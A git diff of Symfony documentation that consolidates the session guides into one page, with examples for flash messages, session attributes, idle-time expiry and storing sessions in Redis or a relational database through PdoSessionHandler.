-~~~~~~~~~~~~~~
-
-You can also store special messages, called "flash" messages, on the user's
-session. By design, flash messages are meant to be used exactly once: they vanish
-from the session automatically as soon as you retrieve them. This feature makes
+You can store special messages, called "flash" messages, on the user's session.
+By design, flash messages are meant to be used exactly once: they vanish from
+the session automatically as soon as you retrieve them. This feature makes
 "flash" messages particularly great for storing user notifications.
 
 For example, imagine you're processing a :doc:`form </forms>` submission::
 
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    // ...
+.. configuration-block::
 
-    public function update(Request $request): Response
-    {
-        // ...
+    .. code-block:: php-symfony
 
-        if ($form->isSubmitted() && $form->isValid()) {
-            // do some sort of processing
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
 
-            $this->addFlash(
-                'notice',
-                'Your changes were saved!'
-            );
-            // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
+        public function update(Request $request): Response
+        {
+            // ...
 
-            return $this->redirectToRoute(/* ... */);
-        }
+            if ($form->isSubmitted() && $form->isValid()) {
+                // do some sort of processing
 
-        return $this->render(/* ... */);
-    }
+                $this->addFlash(
+                    'notice',
+                    'Your changes were saved!'
+                );
+                // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
 
-After processing the request, the controller sets a flash message in the session
-and then redirects. The message key (``notice`` in this example) can be anything:
-you'll use this key to retrieve the message.
-
-In the template of the next page (or even better, in your base layout template),
-read any flash messages from the session using the ``flashes()`` method provided
-by the :ref:`Twig global app variable <twig-app-variable>`:
-
-.. code-block:: html+twig
-
-    {# templates/base.html.twig #}
-
-    {# read and display just one flash message type #}
-    {% for message in app.flashes('notice') %}
-        <div class="flash-notice">
-            {{ message }}
-        </div>
-    {% endfor %}
-
-    {# read and display several types of flash messages #}
-    {% for label, messages in app.flashes(['success', 'warning']) %}
-        {% for message in messages %}
-            <div class="flash-{{ label }}">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endfor %}
-
-    {# read and display all flash messages #}
-    {% for label, messages in app.flashes %}
-        {% for message in messages %}
-            <div class="flash-{{ label }}">
-                {{ message }}
-            </div>
-        {% endfor %}
-    {% endfor %}
-
-It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
-different types of flash messages, but you can use any key that fits your
-needs.
+                return $this->redirectToRoute(/* ... */);
+            }
 
-.. tip::
+            return $this->render(/* ... */);
+        }
 
-    You can use the
-    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
-    method instead to retrieve the message while keeping it in the bag.
+:ref:`Reading <session-intro>` for more information about using Sessions.
 
 .. index::
    single: Controller; Response object
diff --git a/doctrine.rst b/doctrine.rst
index c7c5fb86b80..04cbe6710ca 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -882,7 +882,6 @@ Learn more
     doctrine/multiple_entity_managers
     doctrine/resolve_target_entity
     doctrine/reverse_engineering
-    session/database
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cb963187290..48249f572a3 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1582,7 +1582,7 @@ handler_id
 The service id used for session storage. The default value ``'session.handler.native_file'``
 will let Symfony manage the sessions itself using files to store the session metadata.
 Set it to ``null`` to use the native PHP session mechanism.
-You can also :doc:`store sessions in a database </session/database>`.
+You can also :ref:`store sessions in a database <session-database>`.
 
 .. _name:
 
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 924cacf83a3..d596d473845 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -370,9 +370,9 @@ The firewall dispatches the ``security.switch_user`` event right after the imper
 is completed. The :class:`Symfony\\Component\\Security\\Http\\Event\\SwitchUserEvent` is
 passed to the listener, and you can use this to get the user that you are now impersonating.
 
-The :doc:`/session/locale_sticky_session` article does not update the locale
-when you impersonate a user. If you *do* want to be sure to update the locale when
-you switch users, add an event subscriber on this event::
+The :ref:`locale-sticky-session` section does not update the locale when you
+impersonate a user. If you *do* want to be sure to update the locale when you
+switch users, add an event subscriber on this event::
 
     // src/EventListener/SwitchUserSubscriber.php
     namespace App\EventListener;
diff --git a/session.rst b/session.rst
index 90ef240013e..2d6c9cd2012 100644
--- a/session.rst
+++ b/session.rst
@@ -1,15 +1,262 @@
+.. index::
+   single: HTTP
+   single: HttpFoundation, Sessions
+
 Sessions
 ========
 
-Symfony provides a session object and several utilities that you can use to
-store information about the user between requests.
+The Symfony HttpFoundation component has a very powerful and flexible session
+subsystem which is designed to provide session management that you can use to
+store information about the user between requests through a clear
+object-oriented interface using a variety of session storage drivers.
+
+Symfony sessions are designed to replace the usage of the ``$_SESSION`` super
+global and native PHP functions related to manipulating the session like
+``session_start()``, ``session_regenerate_id()``, ``session_id()``,
+``session_name()``, and ``session_destroy()``.
+
+.. note::
+
+    Sessions are only started if you read or write from it.
+
+Installation
+------------
+
+You need to install the HttpFoundation component to handle sessions:
+
+.. code-block:: terminal
+
+    $ composer require symfony/http-foundation
+
+.. _session-intro:
+
+Basic Usage
+-----------
+
+The session is available through the ``Request`` object and the ``RequestStack``
+service. Symfony injects the ``request_stack`` service in services and controllers
+if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\HttpFoundation\RequestStack;
+
+        class SomeService
+        {
+            private $requestStack;
+
+            public function __construct(RequestStack $requestStack)
+            {
+                $this->requestStack = $requestStack;
+
+                // Accessing the session in the constructor is *NOT* recommended, since
+                // it might not be accessible yet or lead to unwanted side-effects
+                // $this->session = $requestStack->getSession();
+            }
+
+            public function someMethod()
+            {
+                $session = $this->requestStack->getSession();
+
+                // ...
+            }
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        $session = new Session();
+        $session->start();
+
+From a Symfony controller, you can also type-hint an argument with
+:class:`Symfony\\Component\\HttpFoundation\\Request`::
+
+    use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
+
+    public function index(Request $request): Response
+    {
+        $session = $request->getSession();
+
+        // ...
+    }
+
+Session Attributes
+------------------
+
+PHP's session management requires the use of the ``$_SESSION`` super-global.
+However, this interferes with code testability and encapsulation in an OOP
+paradigm. To help overcome this, Symfony uses *session bags* linked to the
+session to encapsulate a specific dataset of **attributes**.
+
+This approach mitigates namespace pollution within the ``$_SESSION``
+super-global because each bag stores all its data under a unique namespace.
+This allows Symfony to peacefully co-exist with other applications or libraries
+that might use the ``$_SESSION`` super-global and all data remains completely
+compatible with Symfony's session management.
+
+A session bag is a PHP object that acts like an array::
+
+    // stores an attribute for reuse during a later user request
+    $session->set('attribute-name', 'attribute-value');
+
+    // gets an attribute by name
+    $foo = $session->get('foo');
+
+    // the second argument is the value returned when the attribute doesn't exist
+    $filters = $session->get('filters', []);
+
+Stored attributes remain in the session for the remainder of that user's session.
+By default, session attributes are key-value pairs managed with the
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
+class.
+
+.. tip::
+
+    Sessions are automatically started whenever you read, write or even check
+    for the existence of data in the session. This may hurt your application
+    performance because all users will receive a session cookie. In order to
+    prevent starting sessions for anonymous users, you must *completely* avoid
+    accessing the session.
+
+.. index::
+   single: Session; Flash messages
+
+.. _flash-messages:
+
+Flash Messages
+--------------
+
+You can store special messages, called "flash" messages, on the user's session.
+By design, flash messages are meant to be used exactly once: they vanish from
+the session automatically as soon as you retrieve them. This feature makes
+"flash" messages particularly great for storing user notifications.
+
+For example, imagine you're processing a :doc:`form </forms>` submission::
+
+.. configuration-block::
+
+    .. code-block:: php-symfony
+
+        use Symfony\Component\HttpFoundation\Request;
+        use Symfony\Component\HttpFoundation\Response;
+        // ...
+
+        public function update(Request $request): Response
+        {
+            // ...
+
+            if ($form->isSubmitted() && $form->isValid()) {
+                // do some sort of processing
+
+                $this->addFlash(
+                    'notice',
+                    'Your changes were saved!'
+                );
+                // $this->addFlash() is equivalent to $request->getSession()->getFlashBag()->add()
+
+                return $this->redirectToRoute(/* ... */);
+            }
+
+            return $this->render(/* ... */);
+        }
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Session\Session;
+
+        $session = new Session();
+        $session->start();
+
+        // retrieve the flash messages bag
+        $flashes = $session->getFlashBag();
+
+        // add flash messages
+        $flashes->add(
+            'warning',
+            'Your config file is writable, it should be set read-only'
+        );
+        $flashes->add('error', 'Failed to update name');
+        $flashes->add('error', 'Another error');
+
+After processing the request, the controller sets a flash message in the session
+and then redirects. The message key (``notice`` in this example) can be anything:
+you'll use this key to retrieve the message.
+
+In the template of the next page (or even better, in your base layout template),
+read any flash messages from the session using the ``flashes()`` method provided
+by the :ref:`Twig global app variable <twig-app-variable>`:
+
+.. configuration-block::
+
+    .. code-block:: html+twig
+
+        {# templates/base.html.twig #}
+
+        {# read and display just one flash message type #}
+        {% for message in app.flashes('notice') %}
+            <div class="flash-notice">
+                {{ message }}
+            </div>
+        {% endfor %}
+
+        {# read and display several types of flash messages #}
+        {% for label, messages in app.flashes(['success', 'warning']) %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
+        {# read and display all flash messages #}
+        {% for label, messages in app.flashes %}
+            {% for message in messages %}
+                <div class="flash-{{ label }}">
+                    {{ message }}
+                </div>
+            {% endfor %}
+        {% endfor %}
+
+    .. code-block:: php-standalone
+
+        // display warnings
+        foreach ($session->getFlashBag()->get('warning', []) as $message) {
+            echo '<div class="flash-warning">'.$message.'</div>';
+        }
+
+        // display errors
+        foreach ($session->getFlashBag()->get('error', []) as $message) {
+            echo '<div class="flash-error">'.$message.'</div>';
+        }
+
+        // display all flashes at once
+        foreach ($session->getFlashBag()->all() as $type => $messages) {
+            foreach ($messages as $message) {
+                echo '<div class="flash-'.$type.'">'.$message.'</div>';
+            }
+        }
+
+It's common to use ``notice``, ``warning`` and ``error`` as the keys of the
+different types of flash messages, but you can use any key that fits your
+needs.
+
+.. tip::
+
+    You can use the
+    :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peek`
+    method instead to retrieve the message while keeping it in the bag.
 
 Configuration
 -------------
 
-Sessions are provided by the `HttpFoundation component`_, which is included in
-all Symfony applications, no matter how you installed it. Before using the
-sessions, check their default configuration:
+In the Symfony framework, sessions are enabled by default. Session storage and
+other configuration can be controlled under the :ref:`framework.session
+configuration <config-framework-session>` in
+``config/packages/framework.yaml``:
 
 .. configuration-block::
 
@@ -75,6 +322,19 @@ sessions, check their default configuration:
             ;
         };
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Cookie;
+        use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
+
+        $storage = new NativeSessionStorage([
+            'cookie_secure' => 'auto',
+            'cookie_samesite' => Cookie::SAMESITE_LAX,
+        ]);
+        $session = new Session($storage);
+
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
 outside of the Symfony application, in a directory controlled by PHP. Although
@@ -129,87 +389,281 @@ session metadata files:
             ;
         };
 
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HttpFoundation\Cookie;
+        use Symfony\Component\HttpFoundation\Session\Attribute\AttributeBag;
+        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\NativeFileSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\NativeSessionStorage;
+
+        $handler = new NativeFileSessionHandler('/var/sessions');
+        $storage = new NativeSessionStorage([], $handler);
+        $session = new Session($storage);
+
 Check out the Symfony config reference to learn more about the other available
-:ref:`Session configuration options <config-framework-session>`. You can also
-:doc:`store sessions in a database </session/database>`.
+:ref:`Session configuration options <config-framework-session>`.
 
-Basic Usage
------------
+.. caution::
 
-The session is available through the ``Request`` object and the ``RequestStack``
-service. Symfony injects the ``request_stack`` service in services and controllers
-if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::
+    Symfony sessions are incompatible with ``php.ini`` directive
+    ``session.auto_start = 1`` This directive should be turned off in
+    ``php.ini``, in the web server directives or in ``.htaccess``.
 
-    use Symfony\Component\HttpFoundation\RequestStack;
+Session Idle Time/Keep Alive
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    class SomeService
-    {
-        private $requestStack;
+There are often circumstances where you may want to protect, or minimize
+unauthorized use of a session when a user steps away from their terminal while
+logged in by destroying the session after a certain period of idle time. For
+example, it is common for banking applications to log the user out after just
+5 to 10 minutes of inactivity. Setting the cookie lifetime here is not
+appropriate because that can be manipulated by the client, so we must do the expiry
+on the server side. The easiest way is to implement this via garbage collection
+which runs reasonably frequently. The ``cookie_lifetime`` would be set to a
+relatively high value, and the garbage collection ``gc_maxlifetime`` would be set
+to destroy sessions at whatever the desired idle period is.
 
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
+The other option is specifically check if a session has expired after the
+session is started. The session can be destroyed as required. This method of
+processing can allow the expiry of sessions to be integrated into the user
+experience, for example, by displaying a message.
 
-            // Accessing the session in the constructor is *NOT* recommended, since
-            // it might not be accessible yet or lead to unwanted side-effects
-            // $this->session = $requestStack->getSession();
-        }
+Symfony records some metadata about each session to give you fine control over
+the security settings::
 
-        public function someMethod()
-        {
-            $session = $this->requestStack->getSession();
+    $session->getMetadataBag()->getCreated();
+    $session->getMetadataBag()->getLastUsed();
+
+Both methods return a Unix timestamp (relative to the server).
+
+This metadata can be used to explicitly expire a session on access::
+
+    $session->start();
+    if (time() - $session->getMetadataBag()->getLastUsed() > $maxIdleTime) {
+        $session->invalidate();
+        throw new SessionExpired(); // redirect to expired session page
+    }
+
+It is also possible to tell what the ``cookie_lifetime`` was set to for a
+particular cookie by reading the ``getLifetime()`` method::
+
+    $session->getMetadataBag()->getLifetime();
+
+The expiry time of the cookie can be determined by adding the created
+timestamp and the lifetime.
+
+.. index::
+    single: Session; Database Storage
+
+.. _session-database:
+
+Store Sessions in a Database
+----------------------------
+
+Symfony stores sessions in files by default. If your application is served by
+multiple servers, you'll need to use a database instead to make sessions work
+across different servers.
 
-            // stores an attribute in the session for later reuse
-            $session->set('attribute-name', 'attribute-value');
+Symfony can store sessions in all kinds of databases (relational, NoSQL and
+key-value) but recommends key-value databases like Redis to get best
+performance.
 
-            // gets an attribute by name
-            $foo = $session->get('foo');
+Store Sessions in a key-value Database (Redis)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-            // the second argument is the value returned when the attribute doesn't exist
-            $filters = $session->get('filters', []);
+This section assumes that you have a fully-working Redis server and have also
+installed and configured the `phpredis extension`_.
 
+You have two different options to use Redis to store sessions:
+
+The first PHP-based option is to configure Redis session handler directly
+in the server ``php.ini`` file:
+
+.. code-block:: ini
+
+    ; php.ini
+    session.save_handler = redis
+    session.save_path = "tcp://192.168.0.178:6379?auth=REDIS_PASSWORD"
+
+The second option is to configure Redis sessions in Symfony. First, define
+a Symfony service for the connection to the Redis server:
+
+.. configuration-block::
+
+        # config/services.yaml
+        services:
+            # ...
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
+                arguments:
+                    - '@Redis'
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix': 'my_prefix', 'ttl': 600 }
+
+            Redis:
+                # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+                class: Redis
+                calls:
+                    - connect:
+                        - '%env(REDIS_HOST)%'
+                        - '%env(int:REDIS_PORT)%'
+
+                    # uncomment the following if your Redis server requires a password
+                    # - auth:
+                    #     - '%env(REDIS_PASSWORD)%'
+                    
+                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
+                    # - auth:
+                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- you can also use \RedisArray, \RedisCluster or \Predis\Client classes -->
+                <service id="Redis" class="Redis">
+                    <call method="connect">
+                        <argument>%env(REDIS_HOST)%</argument>
+                        <argument>%env(int:REDIS_PORT)%</argument>
+                    </call>
+
+                    <!-- uncomment the following if your Redis server requires a password:
+                    <call method="auth">
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
+
+                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
+                    <call method="auth">
+                        <argument>%env(REDIS_USER)%</argument>
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
+                </service>
+
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
+                    <argument type="service" id="Redis"/>
+                    <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                         which define the prefix to use for the keys to avoid collision on the Redis server
+                         and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    <argument type="collection">
+                        <argument key="prefix">my_prefix</argument>
+                        <argument key="ttl">600</argument>
+                    </argument> -->
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\DependencyInjection\Reference;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+
+        $container
+            // you can also use \RedisArray, \RedisCluster or \Predis\Client classes
+            ->register('Redis', \Redis::class)
+            ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
+            // uncomment the following if your Redis server requires a password:
+            // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
+            // uncomment the following if your Redis server requires a user and a password (when user is not default):
+            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
+
+            ->register(RedisSessionHandler::class)
+            ->addArgument(
+                new Reference('Redis'),
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
+            )
+        ;
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            session:
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-        }
-    }
+            $framework->session()
+                ->handlerId(RedisSessionHandler::class)
+            ;
+        };
 
-.. deprecated:: 5.3
+Symfony will now use your Redis server to read and write the session data. The
+main drawback of this solution is that Redis does not perform session locking,
+so you can face *race conditions* when accessing sessions. For example, you may
+see an *"Invalid CSRF token"* error because two requests were made in parallel
+and only the first one stored the CSRF token in the session.
 
-    The ``SessionInterface`` and ``session`` service were deprecated in
-    Symfony 5.3. Instead, inject the ``RequestStack`` service to get the session
-    object of the current request.
+.. seealso::
 
-Stored attributes remain in the session for the remainder of that user's session.
-By default, session attributes are key-value pairs managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
-class.
+    If you use Memcached instead of Redis, follow a similar approach but
+    replace ``RedisSessionHandler`` by
+    :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MemcachedSessionHandler`.
 
-.. deprecated:: 5.3
+.. _session-database-pdo:
 
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
+Store Sessions in a Relational Database (MariaDB, MySQL, PostgreSQL)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If your application needs are complex, you may prefer to use
-:ref:`namespaced session attributes <namespaced-attributes>` which are managed with the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-class. Before using them, override the ``session_listener`` service definition to build
-your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAttributeBag``:
+Symfony includes a
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`
+to store sessions in relational databases like MariaDB, MySQL and PostgreSQL.
+To use it, first register a new handler service with your database credentials:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/services.yaml
-        session.factory:
-            autoconfigure: true
-            class: App\Session\SessionFactory
-            arguments:
-            - '@request_stack'
-            - '@session.storage.factory'
-            - ['@session_listener', 'onSessionUsage']
-            - '@session.namespacedattributebag'
-
-        session.namespacedattributebag:
-            class: Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+
+                    # you can also use PDO configuration, but requires passing two arguments
+                    # - 'mysql:dbname=mydatabase; host=myhost; port=myport'
+                    # - { db_username: myuser, db_password: mypassword }
 
     .. code-block:: xml
 
@@ -217,18 +671,22 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="session" class="Symfony\Component\HttpFoundation\Session\Session" public="true">
-                    <argument type="service" id="session.storage"/>
-                    <argument type="service" id="session.namespacedattributebag"/>
-                    <argument type="service" id="session.flash_bag"/>
-                </service>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>%env(DATABASE_URL)%</argument>
 
-                <service id="session.namespacedattributebag"
-                    class="Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag"
-                />
+                    <!-- you can also use PDO configuration, but requires passing two arguments: -->
+                    <!-- <argument>mysql:dbname=mydatabase; host=myhost; port=myport</argument>
+                        <argument type="collection">
+                            <argument key="db_username">myuser</argument>
+                            <argument key="db_password">mypassword</argument>
+                        </argument> -->
+                </service>
             </services>
         </container>
 
@@ -237,43 +695,926 @@ your ``Session`` object with the default ``AttributeBag`` by the ``NamespacedAtt
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-        use Symfony\Component\HttpFoundation\Session\Session;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
 
-            $services->set('session', Session::class)
-                ->public()
+            $services->set(PdoSessionHandler::class)
                 ->args([
-                    ref('session.storage'),
-                    ref('session.namespacedattributebag'),
-                    ref('session.flash_bag'),
+                    env('DATABASE_URL'),
+                    // you can also use PDO configuration, but requires passing two arguments:
+                    // 'mysql:dbname=mydatabase; host=myhost; port=myport',
+                    // ['db_username' => 'myuser', 'db_password' => 'mypassword'],
                 ])
             ;
+        };
+
+.. tip::
+
+    When using MySQL as the database, the DSN defined in ``DATABASE_URL`` can
+    contain the ``charset`` and ``unix_socket`` options as query string parameters.
+
+    .. versionadded:: 5.3
+
+        The support for ``charset`` and ``unix_socket`` options was introduced
+        in Symfony 5.3.
+
+Next, use the :ref:`handler_id <config-framework-session-handler-id>`
+configuration option to tell Symfony to use this service as the session handler:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            session:
+                # ...
+                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
 
-            $services->set('session.namespacedattributebag', NamespacedAttributeBag::class);
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- ... -->
+                <framework:session
+                    handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->session()
+                ->handlerId(PdoSessionHandler::class)
+            ;
         };
 
-.. _session-avoid-start:
+Configuring the Session Table and Column Names
+..............................................
 
-Avoid Starting Sessions for Anonymous Users
--------------------------------------------
+The table used to store sessions is called ``sessions`` by default and defines
+certain column names. You can configure these values with the second argument
+passed to the ``PdoSessionHandler`` service:
 
-Sessions are automatically started whenever you read, write or even check for
-the existence of data in the session. This may hurt your application performance
-because all users will receive a session cookie. In order to prevent that, you
-must *completely* avoid accessing the session.
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
+                arguments:
+                    - '%env(DATABASE_URL)%'
+                    - { db_table: 'customer_session', db_id_col: 'guid' }
+
+    .. code-block:: xml
 
-More about Sessions
--------------------
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                    <argument>%env(DATABASE_URL)%</argument>
+                    <argument type="collection">
+                        <argument key="db_table">customer_session</argument>
+                        <argument key="db_id_col">guid</argument>
+                    </argument>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+
+        return static function (ContainerConfigurator $container) {
+            $services = $configurator->services();
+
+            $services->set(PdoSessionHandler::class)
+                ->args([
+                    env('DATABASE_URL'),
+                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
+                ])
+            ;
+        };
+
+These are parameters that you can configure:
+
+``db_table`` (default ``sessions``):
+    The name of the session table in your database;
+
+``db_username``: (default: ``''``)
+    The username used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    username defined in the env var).
+
+``db_password``: (default: ``''``)
+    The password used to connect when using the PDO configuration (when using
+    the connection based on the ``DATABASE_URL`` env var, it overrides the
+    password defined in the env var).
+
+``db_id_col`` (default ``sess_id``):
+    The name of the column where to store the session ID (column type: ``VARCHAR(128)``);
+
+``db_data_col`` (default ``sess_data``):
+    The name of the column where to store the session data (column type: ``BLOB``);
+
+``db_time_col`` (default ``sess_time``):
+    The name of the column where to store the session creation timestamp (column type: ``INTEGER``);
+
+``db_lifetime_col`` (default ``sess_lifetime``):
+    The name of the column where to store the session lifetime (column type: ``INTEGER``);
+
+``db_connection_options`` (default: ``[]``)
+    An array of driver-specific connection options;
+
+``lock_mode`` (default: ``LOCK_TRANSACTIONAL``)
+    The strategy for locking the database to avoid *race conditions*. Possible
+    values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level
+    locking) and ``LOCK_TRANSACTIONAL`` (row-level locking).
+
+Preparing the Database to Store Sessions
+........................................
+
